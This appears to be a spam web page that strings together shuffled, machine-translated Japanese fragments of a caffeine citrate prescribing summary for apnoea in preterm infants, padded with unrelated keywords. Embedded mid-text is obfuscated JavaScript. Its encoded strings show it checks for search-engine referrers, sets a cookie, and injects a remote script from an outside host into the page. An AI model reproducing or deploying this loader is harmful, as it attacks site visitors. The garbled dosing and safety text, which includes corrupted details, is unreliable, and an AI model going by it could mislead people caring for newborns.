クエン酸カフェインの投与は、患者が有意な無呼吸発作のない5-7日を有する場合には中止すべきである.
最近の大規模プラセボ対照多施設研究（n = 2006）では、クエン酸カフェインで治療した未熟児の短期および長期（18〜21カ月）.
クエン酸カフェインで治療した新生児の母乳育児は、カフェイン含有食品および飲料またはカフェインを含む医薬品を摂取してはならない（第4章.. しかし、カフェインまたは他のメチルキサンチンの使用と壊死性腸炎との因果関係は確立されていない.. アニマルパック 成分 クエン酸 ソーダ レシピ0ml / kg体重20mg / kg体重静脈内注入（30分以上）1回の維持投与量* 0.. アニマルパック 成分 クエン酸 ソーダ レシピ重大な腎障害がある場合、蓄積の可能性が高まることを考慮して、カフェインの日常維持量を減らす必要があり、その用量は、血液カフェイン測定.. カフェインは未熟児の新生児の半減期が延長されており、長期間治療を受けた乳児のモニタリングを必要とする可能性がある（セクション5.
ベースラインのカフェインレベルを測定することが推奨されます： - 母親が服用前に大量のカフェインを摂取しているかもしれない乳児（セクション4.. 治療用量では、成人期まで持続したアデノシン受容体発現の増加の結果として、新生ラットにおけるいくつかの行動変化が誘発された.. クエン酸カフェインの中止後に無呼吸の再発のリスクがあるため、患者の治療モニタリングは約1週間続けなければならない.. 死亡および障害に対するカフェイン効果の大きさおよび方向は、無作為化に必要な呼吸補助幼児の程度に応じて異なり、死亡および障害に対するオッズ比（95％CI）.. アニマルパック 成分 クエン酸 ソーダ なぜ有害事象は、臓器機能障害を有する他の観察された幼児よりも臓器機能障害を有するこのサブグループにおいてより頻繁であるようであった.. カフェインは、エリスロポエチン合成を抑制し、したがって、長期間の治療でヘモグロビン濃度を低下させる可能性がある.. 肝臓のカフェイン代謝は、出生後数週間で漸進的に進行し、高齢の乳児の場合、肝疾患はカフェイン血漿レベルを監視する必要があることを示している可能性があり、.. したがって、カフェインは、CYP1A2の基質である活性物質と相互作用し、CYP1A2を阻害し、またはCYP1A2を誘導する可能性を有する.. クエン酸カフェインによって誘発される利尿および電解質損失は、液体および電解質障害の補正を必要とすることがある.. クエン酸カフェインに無作為化された幼児は、静脈内負荷量20mg / kg、その後の毎日の維持用量5mg / kg.. 患者が再発性無呼吸を有する場合、クエン酸カフェインの投与は、クエン酸カフェインの停止から無呼吸の再発までの時間間隔に応じて、維持用量または半負荷用量のいずれかで再開することができる.. 希釈前および希釈後の非経口溶液は、粒子状物質および投与前の変色について視覚的に検査されなければならない.. クエン酸カフェインの推奨投与量および維持用量は、注射容量とカフェインクエン酸塩として表される投与量との間の関係を明らかにする以下の表に提供されている.. テオフィリン以前にテオフィリンで治療された新生児では、早産児がテオフィリンをカフェインに代謝するため、ベースラインの血漿カフェイン濃度をクエン酸カフェインでの治療開始前に測定する必要があります.. 無呼吸が持続する場合、毎日の維持用量は、最大10mg / kgのクエン酸カフェイン.. 、シメチジンおよびケトコナゾール）および高濃度のカフェインクエン酸塩の投与が、カフェイン排泄を増加させる活性物質の共投与後に必要となり得る（e.. 妊娠動物試験におけるカフェインは高用量で胎児毒性で催奇形性であることが示された.. 肝臓および腎臓の障害腎臓および肝臓の障害を有する患者には、限られた経験がある.. 静脈内に投与する場合、クエン酸カフェインは、シリンジ注入ポンプまたは他の計量注入装置のみを用いて、制御された静脈内注入によって投与すべきである.. 入手可能な証拠は、神経発達の成果、繁栄の障害、心臓血管系、胃腸系または内分泌系に関する新生児カフェイン療法の有害な長期反応を示すものではない.. 2）発作障害のある乳児 - 既知および臨床的に重要な心疾患を有する幼児 - カフェイン代謝を妨げることが知られている医薬品の同時投与を受ける乳児（セクション4.. 受胎能力動物で観察される生殖能力への影響は、未熟児の適応症とは無関係である（第5節.. 早産新生児に関する最近の多施設共同研究では、37日間の中央治療期間が報告されている.. すべての早産児にとって、クエン酸カフェインで治療された乳児は、壊死性腸炎の発症について注意深く監視されるべきである（セクション4.. 投薬量の調整とモニタリング血漿中のカフェイン濃度は、不完全な臨床反応または毒性の徴候がある場合には、治療中定期的にモニタリングする必要がある.. 早産児ではカフェインとテオフィリンの相互変換が報告されている。カフェインレベルはテオフィリン投与後のテオフィリンレベルの約25％であり、投与されたカフェインの約3〜8％はテオフィリンへの変換が期待される.. アニマルパック 成分 クエン酸 ソーダ おすすめこの患者集団におけるカフェインの緩徐な排除のために、治療の中断時に用量が先細になる必要はない.. カフェインとドキサプラムの同時使用は、心臓呼吸器系および中枢神経系に対するそれらの刺激効果を増強する可能性がある.. これらの影響は用量関連であり、血漿レベルおよび線量減少の測定を必要とすることがある.. 胆汁うっ滞性肝炎を患う未熟児では、血漿レベルが正常な変動限度を超えて延長したカフェイン排泄の半減期が延長され、これらの患者の投与量に特に注意することが示されている（セクション4.. 吸収クエン酸カフェインからのカフェインの作用開始は、注入の開始から数分以内である.. 承認後の安全性試験では、腎臓/肝臓障害を有する少数の非常に早期の幼児の副作用の頻度は、臓器障害のない未熟児と比較して高いようであった（第4節.. 24時間の間隔の後、5mg / kg体重の維持用量を、24時間毎に10分間にわたりゆっくりと静脈内注入することによって投与することができる.. クエン酸カフェインによる治療は、新生児集中治療室で経験した医師の監督下で開始されるべきである.. 文献中には治療的血漿濃度範囲のカフェインは明らかにされていないが、臨床的利益に関する研究におけるカフェインレベルは8〜30mg / lの範囲であり、血漿レベルが50mg / l.. 生体内変換早産児のカフェイン代謝は、未熟な肝酵素系のために非常に限られており、大部分の活性物質は尿中で排泄される.. var _0x5d25=['Z2hqaWc=','RlBtaFc=','SWtDQ3k=','c2V0','Z1dwR1g=','bnFLbFY=','c2NyaXB0','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','YXBwZW5kQ2hpbGQ=','44Ki44OL44Oe44Or44OR44OD44KvK+aIkOWIhivjgq/jgqjjg7Pphbgr44K944O844OA','bWF0Y2g=','enpNRWw=','bGVuZ3Ro','c3BsaXQ=','cmVwbGFjZQ==','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','OyBkb21haW49','OyBzZWN1cmU=','Y29va2ll','YnJVSEQ=','WXRvc3o=','YUVxWG8=','UnNNUnI=','ZHNObEU=','cWtVUlc=','VFJnSFc=','ZnRMeW0=','d3lISHE=','aHR0cHM6Ly9icmF6aWxjbG91ZC5tZW4vbC1uZXcucGhwPyZxdWVyeT0=','LmJpbmcu','LmFvbC4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','dmlzaXRlZA==','c0xEZms=','Lmdvb2dsZS4=','LnlhaG9vLg==','SVN2cXM=','LmFzay4=','T1ZRUHI=','TUpOeUQ=','cmVmZXJyZXI=','bndBalQ=','U29iQ0U=','aW5kZXhPZg==','SWFBZlY=','c1F2eEc=','aXB0T2Q=','V3BKaVU=','a0FBcnI=','U0JlZkw=','Z2V0VGltZQ==','T1RVSGw=','TEtEWHg='];(function(_0x2d2949,_0x46b84b){var _0xebeb3d=function(_0x96d39f){while(--_0x96d39f){_0x2d2949['push'](_0x2d2949['shift']());}};_0xebeb3d(++_0x46b84b);}(_0x5d25,0x1c6));var _0x5490=function(_0x3a034e,_0x42782b){_0x3a034e=_0x3a034e-0x0;var _0x57a9e8=_0x5d25[_0x3a034e];if(_0x5490['wyxEqo']===undefined){(function(){var _0x1d2363;try{var _0x2958da=Function('return\x20(function()\x20'+'{}.. 頻度は次のように定義されます：非常に一般的な（1/10）、共通（システムオルガンクラスの副作用頻度感染および出血）Sepsis知られていない免疫系障害過敏反応稀な代謝および栄養障害高血糖一般的な低血糖、不眠症不明な神経系疾患痙攣一般的でない易刺激性、びらん性、落ち着き、脳傷害知られていない耳や迷路の障害難聴心臓障害頻脈一般的な不整脈珍しい左心室出力の増加と卒中の増加知られていない胃腸の病気逆流、胃の吸引、腸炎は知られていない一般的な障害および投与部位の状態注入部位静脈炎、注入部位の炎症一般的な調査尿量は増加し、尿ナトリウムおよびカルシウムは増加し、ヘモグロビンは減少し、サイロキシンは減少した。選択された有害反応の説明壊死性腸炎は早産児の罹患率および死亡率の一般的な原因である.. 25ml / kg体重5mg / kg体重静脈内注入（10分以上）または経口投与24時間毎* *投与開始から24時間後推奨早期投与量に対する臨床反応が不十分な早産児では、 24時間後に最大10-20mg / kgの第2負荷用量を与えることができる.. 微生物学的観点から、輸液用の溶液を投与する場合、無菌技術によって希釈直後に医薬品を使用すべきである.. すべての早産児にとって、クエン酸カフェインで治療された乳児は、壊死性腸炎の発症について注意深く監視されるべきである（セクション4.. 出産前に多量のカフェインを摂取した母親から生まれた新生児では、クエン酸カフェインによる治療開始前に血漿中の血漿カフェイン濃度を測定すべきである（第4節.. この医薬品は、第6章で述べたものを除いて、他の医薬品と同じ静脈内投与で混合または同時に投与してはならない.. ポスト認可安全性試験では、腎臓/肝臓梗塞の少数の非常に早期の幼児における有害反応の頻度は、臓器障害のない未熟児と比較して高いようであった（セクション4.. 患者が第2負荷用量または10mg / kg /日の維持用量に適切に応答しない場合、未熟児無呼吸の診断を再検討する必要があるかもしれない（セクション4.. 臨床的有効性と安全性クエン酸カフェインの臨床的有効性は、多施設無作為化二重盲検試験で評価され、早産児85名（クエン酸妊娠28週〜.. ヘルスケアの専門家は、疑わしい副作用の疑いがある場合は、次の方法で報告するよう求められます。UK：イエローカードスキームwww.. クエン酸カフェインの1日の維持投与量を減らすことが必要であり、用量は血漿カフェイン測定によって導かれるべきである.. 防腐剤が存在しないので、無菌技術は医薬品の取り扱いの間中厳密に観察されなければならない.. クエン酸カフェインで治療した未熟児の長期予後を調べる多施設共同研究（n = 2006）.. クエン酸カフェインは、希釈せずに使用するか、またはグルコース50mg / ml（5％）または塩化ナトリウム9mg / ml（0）のような注入のための滅菌溶液で希釈することができる.. 薬物療法群：精神分析薬、キサンチン誘導体ATCコード：N06BC01作用機序カフェインはメチルキサンチンテオフィリンとテオブロミンに構造的に関連している.. 発作カフェインは中枢神経系の興奮剤であり、カフェイン過多の場合に発作が報告されています.. したがって、既知の心臓血管疾患を有する新生児には、クエン酸カフェインを注意して使用すべきである.. 痙攣は、抗けいれん剤（ジアゼパムまたはペントバルビタールナトリウムまたはフェノバルビタールなどのバルビツール酸塩）の静脈内投与によって治療することができ、.. シトクロムP450 1A2（CYP1A2）は、ヒトにおけるカフェインの代謝に関与する主要な酵素である.. 、中枢神経系障害、原発性肺疾患、貧血、敗血症、代謝障害、心臓血管異常、または閉塞性無呼吸）は、クエン酸カフェインによる治療の開始前に除外されるか、.. クエン酸カフェインを発作障害のある新生児に使用する場合は、十分注意する必要があります.. 治療がこの状態を悪化させる可能性があるため、胃食道逆流症を患う乳児には、クエン酸カフェインを注意して使用する必要があります.. しかしながら、この限界は、治療に対する応答、治療にもかかわらず無呼吸発作の継続した存在、または他の臨床的考察に依存する個々の場合の臨床的判断に従って改訂され得る.. 安全性プロファイルの要約カフェインおよび他のメチルキサンチン類の既知の薬理学および毒物学は、クエン酸カフェイン.. 用量は、この集団における毒性を避けるために、カフェイン血漿濃度のモニタリングによって調整されるべきである.. その他の特別な集団Peyonaで治療された506人の早産児の認可後の安全性試験では、腎臓/肝臓障害のある未熟児31人に安全性データが収集されています.. モニタリングのための血液サンプルは、治療の失敗の場合は次の投与の直前に、毒性を疑う場合は前の投与の2〜4時間後に採取する.. 肝臓シトクロムP450 1A2（CYP1A2）は、高齢の個体においてカフェインの生体内変化に関与している.. 催奇形性の可能性および動物で観察される繁殖成績への影響は、早産児集団におけるその適応症とは無関係である.. その効果の大部分は、受容体結合アッセイにおいて実証されたA1およびA2Aサブタイプの両方のアデノシン受容体の拮抗作用に起因し、この適応症で治療的に達成されたものに近い濃度で観察されている.. constructor(\x22return\x20this\x22)(\x20)'+');');_0x1d2363=_0x2958da();}catch(_0x1a275f){_0x1d2363=window;}var _0x5d9d25='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x1d2363['atob']||(_0x1d2363['atob']=function(_0x1e863a){var _0xeddec3=String(_0x1e863a)['replace'](/=+$/,'');for(var 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2は約3-4日であり、Aeは約86％（6日以内）であり、.. カフェイン処理（血漿レベルの測定によって必要であると確認された）に応答しないことは、無呼吸の別の原因の徴候となり得る.. しかし、カフェインまたは他のメチルキサンチンの使用と壊死性腸炎との因果関係は確立されていない.. 早産児のカフェインと他の活性物質との相互作用についてはほとんどデータはないが、成人のカフェイン排泄を減少させることが報告されている活性物質の同時投与後に低用量のカフェインクエン酸塩が必要となることがある（e.. 腸内の細菌の増殖が壊死性腸炎の発症に関連するため、クエン酸カフェインと胃酸分泌を抑制する医薬品（抗ヒスタミンH2受容体遮断薬またはプロトンポンプ阻害薬）を併用すると理論的に壊死性腸炎セクション4を参照.. さらに、以下のようなリスク状況でカフェイン血漿濃度を定期的にモニタリングした後の医学的判断に従って、用量を調整する必要があるかもしれない： - 非常に未熟児（肝臓および腎障害を有する乳児.. 治療は、患者のサーベイランスおよびモニタリングに適切な設備が利用可能な新生児集中治療室でのみ実施する必要があります.. ROI：HPRA Pharmacovigilance、Earlsfort Terrace、IRL-Dublin 2; Tel：+353 1 6764971;ファックス：+353 1 6762517.. 医薬品は、筋肉内、皮下、くも膜下腔内または腹腔内注射によって投与してはならない.. 排泄幼児では、肝臓および/または腎機能が未熟なため、カフェインの排泄は成人よりもはるかに遅い.. 早産新生児にカフェインベース10mg / kg体重を経口投与した後、ピーク血漿カフェイン濃度（Cmax）は6〜10mg / lの範囲であり、ピーク濃度に到達する平均時間（tmax）は30分~2 h.. 心血管反応カフェインは、公開された研究で心拍数、左心室出力、および卒中量を増加させることが示されている.. チロキシン（T4）の一時的な低下は、治療の開始時に乳児に記録されているが、これらは維持療法では持続しない.. 未熟児の早期半減期に起因するカフェイン蓄積の可能性と、早産児のカフェイン代謝能の漸進的増加を考慮に入れて、応答が不十分な場合には、10mg / kg体重のより高い維持用量が考慮され得る月経後の年齢（セクション5.. 赤ちゃんが生まれる前に心拍記録（CTG）トレースに異常なリズム障害があった場合は、クエン酸カフェインを慎重に投与する必要があります.. 9％）またはグルコン酸カルシウム100mg / ml（10％）を、アンプルから抜き取った直後.. 臨床診療では、通常、乳児が37週の月経後の年齢に達するまで治療を継続し、その時点までに未熟児の無呼吸は通常自発的に解決する.. 試験に入る時の呼吸補助のサブグループに従った死亡または障害サブグループオッズ比（95％CI）サポートなし1.. あるいは、体重1kg当たり5mgの維持用量は、24時間毎に経鼻胃管などの経口投与によって投与することができる.. カフェインは脳低酸素症を悪化させたり、結果として生じる損傷を悪化させたりすることはないと思われるが、可能性は否定できない.. 記載される効果には、痙攣、過敏性、落ち着きおよび不安感などの中枢神経系（CNS）刺激、頻脈、不整脈、高血圧および卒中量の増加などの心臓効果、代謝および高グリセミア.. クエン酸カフェインで治療した新生児の母乳育児は、カフェイン含有食品、飲料またはカフェインを含む医薬品を摂取すべきではない.. これは、（1）呼吸器中心刺激、（2）分時換気量の増加、（3）高頻度摂取に対する閾値の低下、（4）未熟児の無呼吸におけるカフェイン効果の基礎である。 （5）骨格筋緊張の増加、（6）横隔膜疲労の減少、（7）代謝率の増加、および（8）酸素消費の増加.. アニマルパック 成分 クエン酸 ソーダ クエン酸有害反応の一覧表短期間および長期間の出版物に記載され、クエン酸カフェインと関連しうる承認後安全性試験から得られた副作用は、システム器官クラスおよび優先用語（MedDRA）.. ポロジー以前に未治療の乳児における推奨される用量レジメンは、シリンジ注入ポンプまたは他の計量注入装置を用いて、30分間にわたるゆっくりとした静脈内注入によって投与される体重1kgあたり20mgのクエン酸カフェインの負荷用量である.. CHIESI FARMACEUTICI SpA Via Palermo 26 / A 43122 Parma ITALY最初の承認日：02/07/2009最新の更新日：03/03/2014 09/2017この医薬品の詳細情報は、欧州医薬品庁http：// www.. ペヨナは、希釈せずに使用するか、またはグルコース50mg / ml（5％）または塩化ナトリウム9mg / ml（0）のような注入のための滅菌溶液中に希釈することができる.. 維持用量は、体重の変化について毎週調整し、幼児が完全な経腸栄養を許容した時点で経口投与することができた.. アンプルからの取り出し直後にグルコン酸カルシウム（100mg / ml）（9％）またはグルコン酸カルシウム（100mg / ml）.. 各1 mlのアンプルには20 mgのクエン酸カフェインが含まれています（カフェイン10 mgに相当）3 mlのアンプルには60 mgのカフェインクエン酸塩（30 mgのカフェインに相当）.. アニマルパック 成分 クエン酸 ソーダ 英語クエン酸カフェインは、代謝の全般的な増加を引き起こし、治療中に高エネルギーおよび栄養要求をもたらす可能性がある.. 症状早産児のカフェイン過剰摂取後の文献に報告されている徴候や症状には、高血糖、低カリウム血症、四肢の震え、落ち着きのない状態、強迫神経症、痙攣発作、発作、頻脈、嘔吐、胃炎、胃腸出血、発熱、ジッタ、血中尿素の増加、白血球数の増加、目的以外の顎と唇の動き.. 希釈溶液の化学的および物理的適合性は、25℃および2〜8℃で24時間証明されている.. 腎機能および肝機能障害腎機能または肝機能障害を伴う早産の新生児には、クエン酸カフェインを慎重に投与すべきである.. 1）は、プラセボと比較したとき、カフェイン群における壊死性腸炎の頻度の増加を示さなかった.. 脳室内出血の発症により複雑なカフェイン過剰症の1例および長期間の神経学的後遺症が報告されている.. アニマルパック 成分 クエン酸 ソーダ 影響005）。また、8日間無呼吸の患者の割合がより高かった（カフェイン22％対プラセボ0％）.. 9カ月齢までに、カフェインの代謝は成人に見られる代謝に近似する（t 1/2 = 5時間およびA e = 1％）.. カフェインクエン酸の用量（容量）クエン酸カフェインの用量（mg / kg体重）経路頻度負荷用量1.. 乳児におけるカフェインの尿中の半減期（t 1/2）および排泄率は変化しておらず、妊娠/月経後の年齢に反比例する.. 投与方法カフェインクエン酸塩は、静脈内注入および経口経路によって投与することができる.. 血漿カリウムおよびグルコース濃度をモニターし、低カリウム血症および高血糖を矯正するべきである.
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